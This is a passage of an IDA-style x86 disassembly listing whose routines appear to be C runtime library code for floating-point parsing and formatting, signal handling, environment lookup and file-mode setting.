XREF: sub_425A21+258j ; sub_425A21+2B8j push 7 loc_425CF1: ; CODE XREF: sub_425A21+85j ; sub_425A21+103j ... pop eax jmp loc_425A78 ; --------------------------------------------------------------------------- loc_425CF7: ; CODE XREF: sub_425A21+2AAj push 0Ah dec edi pop eax loc_425CFB: ; CODE XREF: sub_425A21+5Dj ; sub_425A21+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425A84 case 10 jz loc_425D99 jmp loc_425A78 ; --------------------------------------------------------------------------- loc_425D09: ; CODE XREF: sub_425A21+12Dj ; sub_425A21+238j ... mov edi, [ebp+arg_8] jmp loc_425D99 ; --------------------------------------------------------------------------- loc_425D11: ; CODE XREF: sub_425A21+63j ; DATA XREF: .packed:off_425EC2o mov [ebp+var_20], 1 ; jumptable 00425A84 case 9 xor esi, esi loc_425D1A: ; CODE XREF: sub_425A21+339j cmp dword_43F1F4, 1 jle short loc_425D32 movzx eax, bl push 4 push eax call sub_41FD15 pop ecx pop ecx jmp short loc_425D41 ; --------------------------------------------------------------------------- loc_425D32: ; CODE XREF: sub_425A21+300j mov ecx, off_43EFE8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425D41: ; CODE XREF: sub_425A21+30Fj test eax, eax jz short loc_425D61 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_425D5C mov bl, [edi] inc edi jmp short loc_425D1A ; --------------------------------------------------------------------------- loc_425D5C: ; CODE XREF: sub_425A21+334j mov esi, 1451h loc_425D61: ; CODE XREF: sub_425A21+322j mov [ebp+var_1C], esi loc_425D64: ; CODE XREF: sub_425A21+371j cmp dword_43F1F4, 1 jle short loc_425D7C movzx eax, bl push 4 push eax call sub_41FD15 pop ecx pop ecx jmp short loc_425D8B ; --------------------------------------------------------------------------- loc_425D7C: ; CODE XREF: sub_425A21+34Aj mov ecx, off_43EFE8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425D8B: ; CODE XREF: sub_425A21+359j test eax, eax jz short loc_425D94 mov bl, [edi] inc edi jmp short loc_425D64 ; --------------------------------------------------------------------------- loc_425D94: ; CODE XREF: sub_425A21+99j ; sub_425A21+E4j ... dec edi jmp short loc_425D99 ; --------------------------------------------------------------------------- loc_425D97: ; CODE XREF: sub_425A21+261j ; sub_425A21+2BCj mov edi, ecx loc_425D99: ; CODE XREF: sub_425A21+2DDj ; sub_425A21+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425E81 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425DC5 cmp [ebp+var_45], 5 jl short loc_425DB9 inc [ebp+var_45] loc_425DB9: ; CODE XREF: sub_425A21+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425DC8 ; --------------------------------------------------------------------------- loc_425DC5: ; CODE XREF: sub_425A21+38Dj mov eax, [ebp+var_C] loc_425DC8: ; CODE XREF: sub_425A21+3A2j cmp [ebp+var_4], 0 jbe loc_425E77 loc_425DD2: ; CODE XREF: sub_425A21+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_425DE0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_425DD2 ; --------------------------------------------------------------------------- loc_425DE0: ; CODE XREF: sub_425A21+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42595A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_425DFF neg eax loc_425DFF: ; CODE XREF: sub_425A21+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_425E0A add eax, [ebp+arg_10] loc_425E0A: ; CODE XREF: sub_425A21+3E4j cmp [ebp+var_24], ecx jnz short loc_425E12 sub eax, [ebp+arg_14] loc_425E12: ; CODE XREF: sub_425A21+3ECj cmp eax, 1450h jle short loc_425E49 mov [ebp+var_2C], 1 loc_425E20: ; CODE XREF: sub_425A21+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_425E2C: ; CODE XREF: sub_425A21+454j ; sub_425A21+45Ej cmp [ebp+var_2C], 0 jz short loc_425E92 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425EA7 ; --------------------------------------------------------------------------- loc_425E49: ; CODE XREF: sub_425A21+3F6j cmp eax, 0FFFFEBB0h jge short loc_425E59 mov [ebp+var_30], 1 jmp short loc_425E20 ; --------------------------------------------------------------------------- loc_425E59: ; CODE XREF: sub_425A21+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_42660A mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_425E2C ; --------------------------------------------------------------------------- loc_425E77: ; CODE XREF: sub_425A21+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_425E2C ; --------------------------------------------------------------------------- loc_425E81: ; CODE XREF: sub_425A21+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425EA7 ; --------------------------------------------------------------------------- loc_425E92: ; CODE XREF: sub_425A21+40Fj cmp [ebp+var_30], 0 jz short loc_425EA7 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425EA7: ; CODE XREF: sub_425A21+426j ; sub_425A21+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_425A21 endp ; --------------------------------------------------------------------------- off_425EC2 dd offset loc_425A8B ; DATA XREF: sub_425A21+63r dd offset loc_425ADA ; jump table for switch statement dd offset loc_425B31 dd offset loc_425B5B dd offset loc_425BB6 dd offset loc_425C2D dd offset loc_425C63 dd offset loc_425CAD dd offset loc_425C8C dd offset loc_425D11 dd offset loc_425CFB dd offset loc_425CC7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425EF2 proc near ; CODE XREF: sub_424E19+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425F54 mov byte ptr [ebx+2], 2Dh jmp short loc_425F58 ; --------------------------------------------------------------------------- loc_425F54: ; CODE XREF: sub_425EF2+5Aj mov byte ptr [ebx+2], 20h loc_425F58: ; CODE XREF: sub_425EF2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_425F7E test edi, edi jnz short loc_425F7E cmp [ebp+arg_0], edi jnz short loc_425F7E loc_425F69: ; CODE XREF: sub_425EF2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42617C ; --------------------------------------------------------------------------- loc_425F7E: ; CODE XREF: sub_425EF2+6Cj ; sub_425EF2+70j ... cmp dx, si jnz short loc_425FFD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425F97 cmp [ebp+arg_0], 0 jz short loc_425FA6 loc_425F97: ; CODE XREF: sub_425EF2+9Dj test edi, 40000000h jnz short loc_425FA6 push offset a1Snan ; "1#SNAN" jmp short loc_425FEC ; --------------------------------------------------------------------------- loc_425FA6: ; CODE XREF: sub_425EF2+A3j ; sub_425EF2+ABj test cx, cx jz short loc_425FC0 cmp edi, 0C0000000h jnz short loc_425FC0 cmp [ebp+arg_0], 0 jnz short loc_425FE7 push offset a1Ind ; "1#IND" jmp short loc_425FCF ; --------------------------------------------------------------------------- loc_425FC0: ; CODE XREF: sub_425EF2+B7j ; sub_425EF2+BFj cmp edi, eax jnz short loc_425FE7 cmp [ebp+arg_0], 0 jnz short loc_425FE7 push offset a1Inf ; "1#INF" loc_425FCF: ; CODE XREF: sub_425EF2+CCj lea eax, [ebx+4] push eax call sub_41C680 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_425FDE: ; CODE XREF: sub_425EF2+109j and [ebp+var_4], 0 jmp loc_426155 ; --------------------------------------------------------------------------- loc_425FE7: ; CODE XREF: sub_425EF2+C5j ; sub_425EF2+D0j ... push offset a1Qnan ; "1#QNAN" loc_425FEC: ; CODE XREF: sub_425EF2+B2j lea eax, [ebx+4] push eax call sub_41C680 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_425FDE ; --------------------------------------------------------------------------- loc_425FFD: ; CODE XREF: sub_425EF2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_42660A add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42605E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_4263EA pop ecx pop ecx loc_42605E: ; CODE XREF: sub_425EF2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_426078 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42607B jmp loc_425F69 ; --------------------------------------------------------------------------- loc_426078: ; CODE XREF: sub_425EF2+173j mov edi, [ebp+arg_C] loc_42607B: ; CODE XREF: sub_425EF2+17Fj cmp edi, 15h jle short loc_426083 push 15h pop edi loc_426083: ; CODE XREF: sub_425EF2+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_426099: ; CODE XREF: sub_425EF2+1B4j lea eax, [ebp+var_10] push eax call sub_4258FF dec [ebp+arg_14] pop ecx jnz short loc_426099 test esi, esi jge short loc_4260C3 neg esi and esi, 0FFh jle short loc_4260C3 loc_4260B6: ; CODE XREF: sub_425EF2+1CFj lea eax, [ebp+var_10] push eax call sub_42592D dec esi pop ecx jnz short loc_4260B6 loc_4260C3: ; CODE XREF: sub_425EF2+1B8j ; sub_425EF2+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_426120 mov [ebp+arg_C], ecx loc_4260D3: ; CODE XREF: sub_425EF2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4258FF lea eax, [ebp+var_10] push eax call sub_4258FF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_4258A1 lea eax, [ebp+var_10] push eax call sub_4258FF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4260D3 mov eax, [ebp+arg_14] loc_426120: ; CODE XREF: sub_425EF2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42615D loc_42612D: ; CODE XREF: sub_425EF2+248j cmp eax, ecx jb short loc_426140 cmp byte ptr [eax], 39h jnz short loc_42613C mov byte ptr [eax], 30h dec eax jmp short loc_42612D ; --------------------------------------------------------------------------- loc_42613C: ; CODE XREF: sub_425EF2+242j cmp eax, ecx jnb short loc_426144 loc_426140: ; CODE XREF: sub_425EF2+23Dj inc eax inc word ptr [ebx] loc_426144: ; CODE XREF: sub_425EF2+24Cj inc byte ptr [eax] loc_426146: ; CODE XREF: sub_425EF2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_426155: ; CODE XREF: sub_425EF2+F0j mov eax, [ebp+var_4] loc_426158: ; CODE XREF: sub_425EF2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42615D: ; CODE XREF: sub_425EF2+239j ; sub_425EF2+275j cmp eax, ecx jb short loc_42616D cmp byte ptr [eax], 30h jnz short loc_426169 dec eax jmp short loc_42615D ; --------------------------------------------------------------------------- loc_426169: ; CODE XREF: sub_425EF2+272j cmp eax, ecx jnb short loc_426146 loc_42616D: ; CODE XREF: sub_425EF2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42617C: ; CODE XREF: sub_425EF2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_426158 sub_425EF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426185 proc near ; CODE XREF: sub_422D5C+229Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4261EC dec eax dec eax jz short loc_4261DD sub eax, 4 jz short loc_4261DD sub eax, 3 jz short loc_4261DD sub eax, 4 jz short loc_4261D0 sub eax, 6 jz short loc_4261C3 dec eax jz short loc_4261B6 or eax, 0FFFFFFFFh jmp loc_4262AE ; --------------------------------------------------------------------------- loc_4261B6: ; CODE XREF: sub_426185+27j mov esi, dword_4DE334 mov eax, offset dword_4DE334 jmp short loc_4261F7 ; --------------------------------------------------------------------------- loc_4261C3: ; CODE XREF: sub_426185+24j mov esi, dword_4DE330 mov eax, offset dword_4DE330 jmp short loc_4261F7 ; --------------------------------------------------------------------------- loc_4261D0: ; CODE XREF: sub_426185+1Fj mov esi, dword_4DE338 mov eax, offset dword_4DE338 jmp short loc_4261F7 ; --------------------------------------------------------------------------- loc_4261DD: ; CODE XREF: sub_426185+10j ; sub_426185+15j ... push edi call sub_4262B2 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4261F7 ; --------------------------------------------------------------------------- loc_4261EC: ; CODE XREF: sub_426185+Cj mov esi, dword_4DE32C mov eax, offset dword_4DE32C loc_4261F7: ; CODE XREF: sub_426185+3Cj ; sub_426185+49j ... cmp esi, 1 jnz short loc_426203 xor eax, eax jmp loc_4262AE ; --------------------------------------------------------------------------- loc_426203: ; CODE XREF: sub_426185+75j test esi, esi jnz short loc_42620E push 3 call sub_41BF92 loc_42620E: ; CODE XREF: sub_426185+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_426220 cmp edi, 0Bh jz short loc_426220 cmp edi, 4 jnz short loc_426246 loc_426220: ; CODE XREF: sub_426185+8Fj ; sub_426185+94j mov ebx, dword_4DE10C and dword_4DE10C, 0 cmp edi, ecx jnz short loc_426275 mov edx, dword_43F8BC mov dword_43F8BC, 8Ch mov [ebp+arg_0], edx jmp short loc_426249 ; --------------------------------------------------------------------------- loc_426246: ; CODE XREF: sub_426185+99j mov ebx, [ebp+arg_0] loc_426249: ; CODE XREF: sub_426185+BFj cmp edi, ecx jnz short loc_426275 mov eax, dword_43F8B0 mov ecx, dword_43F8B4 add ecx, eax cmp eax, ecx jge short loc_42627C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43F840h[edx*4] loc_42626A: ; CODE XREF: sub_426185+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_42626A jmp short loc_42627C ; --------------------------------------------------------------------------- loc_426275: ; CODE XREF: sub_426185+AAj ; sub_426185+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_42628A loc_42627C: ; CODE XREF: sub_426185+D7j ; sub_426185+EEj push dword_43F8BC push 8 call esi pop ecx pop ecx jmp short loc_426298 ; --------------------------------------------------------------------------- loc_42628A: ; CODE XREF: sub_426185+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_426298 cmp edi, 4 jnz short loc_4262AB loc_426298: ; CODE XREF: sub_426185+103j ; sub_426185+10Cj cmp edi, 8 mov dword_4DE10C, ebx jnz short loc_4262AB mov eax, [ebp+arg_0] mov dword_43F8BC, eax loc_4262AB: ; CODE XREF: sub_426185+111j ; sub_426185+11Cj xor eax, eax pop ebx loc_4262AE: ; CODE XREF: sub_426185+2Cj ; sub_426185+79j pop edi pop esi pop ebp retn sub_426185 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4262B2 proc near ; CODE XREF: sub_426185+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43F8B8 cmp dword_43F83C, edx push esi mov eax, offset dword_43F838 jz short loc_4262E0 lea esi, [ecx+ecx*2] lea esi, ds:43F838h[esi*4] loc_4262D4: ; CODE XREF: sub_4262B2+2Cj add eax, 0Ch cmp eax, esi jnb short loc_4262E0 cmp [eax+4], edx jnz short loc_4262D4 loc_4262E0: ; CODE XREF: sub_4262B2+16j ; sub_4262B2+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43F838h[ecx*4] cmp eax, ecx jnb short loc_4262F4 cmp [eax+4], edx jz short locret_4262F6 loc_4262F4: ; CODE XREF: sub_4262B2+3Bj xor eax, eax locret_4262F6: ; CODE XREF: sub_4262B2+40j retn sub_4262B2 endp ; =============== S U B R O U T I N E ======================================= sub_4262F7 proc near ; CODE XREF: sub_42501C+23p arg_0 = dword ptr 4 cmp dword_4DF6D0, 0 push ebx push esi mov esi, dword_4DE054 push edi jz short loc_42636E test esi, esi jnz short loc_426328 cmp dword_4DE05C, esi jz short loc_42636E call sub_4266C5 test eax, eax jnz short loc_42636E mov esi, dword_4DE054 test esi, esi jz short loc_42636E loc_426328: ; CODE XREF: sub_4262F7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_42636E push ebx call sub_41B7B0 pop ecx mov edi, eax loc_426339: ; CODE XREF: sub_4262F7+6Dj mov eax, [esi] test eax, eax jz short loc_42636E push eax call sub_41B7B0 cmp eax, edi pop ecx jbe short loc_426361 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_426361 push edi push ebx push eax call sub_426686 add esp, 0Ch test eax, eax jz short loc_426366 loc_426361: ; CODE XREF: sub_4262F7+51j ; sub_4262F7+59j add esi, 4 jmp short loc_426339 ; --------------------------------------------------------------------------- loc_426366: ; CODE XREF: sub_4262F7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_426370 ; --------------------------------------------------------------------------- loc_42636E: ; CODE XREF: sub_4262F7+10j ; sub_4262F7+1Cj ... xor eax, eax loc_426370: ; CODE XREF: sub_4262F7+75j pop edi pop esi pop ebx retn sub_4262F7 endp ; =============== S U B R O U T I N E ======================================= sub_426374 proc near ; CODE XREF: sub_42573A+8Bp ; sub_42573A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DE460 jnb short loc_4263DB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DE360[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_4263DB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_4263B4 and cl, 7Fh jmp short loc_4263C1 ; --------------------------------------------------------------------------- loc_4263B4: ; CODE XREF: sub_426374+39j cmp [esp+4+arg_4], 4000h jnz short loc_4263CF or cl, 80h loc_4263C1: ; CODE XREF: sub_426374+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4263CF: ; CODE XREF: sub_426374+48j mov dword_4DE02C, 16h jmp short loc_4263E5 ; --------------------------------------------------------------------------- loc_4263DB: ; CODE XREF: sub_426374+Bj ; sub_426374+27j mov dword_4DE02C, 9 loc_4263E5: ; CODE XREF: sub_426374+65j or eax, 0FFFFFFFFh pop esi retn sub_426374 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263EA proc near ; CODE XREF: sub_425EF2+165p ; sub_42660A+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_4265EA cmp cx, 7FFFh jnb loc_4265EA cmp dx, 0BFFDh ja loc_4265EA cmp dx, 3FBFh ja short loc_426453 xor eax, eax jmp short loc_42648D ; --------------------------------------------------------------------------- loc_426453: ; CODE XREF: sub_4263EA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_426475 inc [ebp+arg_0] test [esi+8], edx jnz short loc_426475 xor eax, eax cmp [esi+4], eax jnz short loc_426477 cmp [esi], eax jnz short loc_426477 jmp loc_4265E4 ; --------------------------------------------------------------------------- loc_426475: ; CODE XREF: sub_4263EA+71j ; sub_4263EA+79j xor eax, eax loc_426477: ; CODE XREF: sub_4263EA+80j ; sub_4263EA+84j cmp cx, ax jnz short loc_42649A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_42649A cmp [ebx+4], eax jnz short loc_42649A cmp [ebx], eax jnz short loc_42649A loc_42648D: ; CODE XREF: sub_4263EA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_426605 ; --------------------------------------------------------------------------- loc_42649A: ; CODE XREF: sub_4263EA+90j ; sub_4263EA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_4264AA: ; CODE XREF: sub_4263EA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_4264FE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_4264C6: ; CODE XREF: sub_4263EA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425880 add esp, 0Ch test eax, eax jz short loc_4264F1 mov eax, [ebp+var_4] inc word ptr [eax] loc_4264F1: ; CODE XREF: sub_4263EA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_4264C6 loc_4264FE: ; CODE XREF: sub_4263EA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_4264AA add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_426541 loc_42651C: ; CODE XREF: sub_4263EA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_42653A lea eax, [ebp+var_24] push eax call sub_4258FF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_42651C loc_42653A: ; CODE XREF: sub_4263EA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_42657A loc_426541: ; CODE XREF: sub_4263EA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_42657A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_42655A: ; CODE XREF: sub_4263EA+184j test byte ptr [ebp+var_24], 1 jz short loc_426563 inc [ebp+var_14] loc_426563: ; CODE XREF: sub_4263EA+174j lea eax, [ebp+var_24] push eax call sub_42592D dec ebx pop ecx jnz short loc_42655A cmp [ebp+var_14], 0 jz short loc_42657A or byte ptr [ebp+var_24], 1 loc_42657A: ; CODE XREF: sub_4263EA+155j ; sub_4263EA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_426591 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_4265C6 loc_426591: ; CODE XREF: sub_4263EA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_4265C3 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_4265BE and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_4265B8 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_4265C6 ; --------------------------------------------------------------------------- loc_4265B8: ; CODE XREF: sub_4263EA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_4265C6 ; --------------------------------------------------------------------------- loc_4265BE: ; CODE XREF: sub_4263EA+1B5j inc [ebp+var_20+2] jmp short loc_4265C6 ; --------------------------------------------------------------------------- loc_4265C3: ; CODE XREF: sub_4263EA+1ABj inc [ebp+var_24+2] loc_4265C6: ; CODE XREF: sub_4263EA+1A5j ; sub_4263EA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_4265EA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_4265E4: ; CODE XREF: sub_4263EA+86j mov [esi+0Ah], ax jmp short loc_426605 ; --------------------------------------------------------------------------- loc_4265EA: ; CODE XREF: sub_4263EA+42j ; sub_4263EA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_426605: ; CODE XREF: sub_4263EA+ABj ; sub_4263EA+1FEj pop edi pop esi pop ebx leave retn sub_4263EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42660A proc near ; CODE XREF: sub_425A21+440p ; sub_425EF2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43FAB8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_426683 jge short loc_426632 mov eax, [ebp+arg_4] mov ebx, offset dword_43FC18 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_426632: ; CODE XREF: sub_42660A+16j cmp [ebp+arg_8], ecx jnz short loc_42663D mov eax, [ebp+arg_0] mov [eax], cx loc_42663D: ; CODE XREF: sub_42660A+2Bj cmp [ebp+arg_4], ecx jz short loc_426683 push esi push edi loc_426644: ; CODE XREF: sub_42660A+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_42667C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_42666F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_42666F: ; CODE XREF: sub_42660A+57j push esi push [ebp+arg_0] call sub_4263EA pop ecx pop ecx xor ecx, ecx loc_42667C: ; CODE XREF: sub_42660A+49j cmp [ebp+arg_4], ecx jnz short loc_426644 pop edi pop esi loc_426683: ; CODE XREF: sub_42660A+14j ; sub_42660A+36j pop ebx leave retn sub_42660A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426686 proc near ; CODE XREF: sub_4262F7+5Ep ; sub_426B37+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_426693 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_426693: ; CODE XREF: sub_426686+7j push dword_4DF484 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DF6A4 call sub_426733 add esp, 1Ch test eax, eax jnz short loc_4266C0 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4266C0: ; CODE XREF: sub_426686+31j add eax, 0FFFFFFFEh pop ebp retn sub_426686 endp ; =============== S U B R O U T I N E ======================================= sub_4266C5 proc near ; CODE XREF: sub_4262F7+1Ep ; sub_4269B0+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DE05C push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_426726 mov ebx, dword_428180 loc_4266DE: ; CODE XREF: sub_4266C5+5Fj push edi push edi 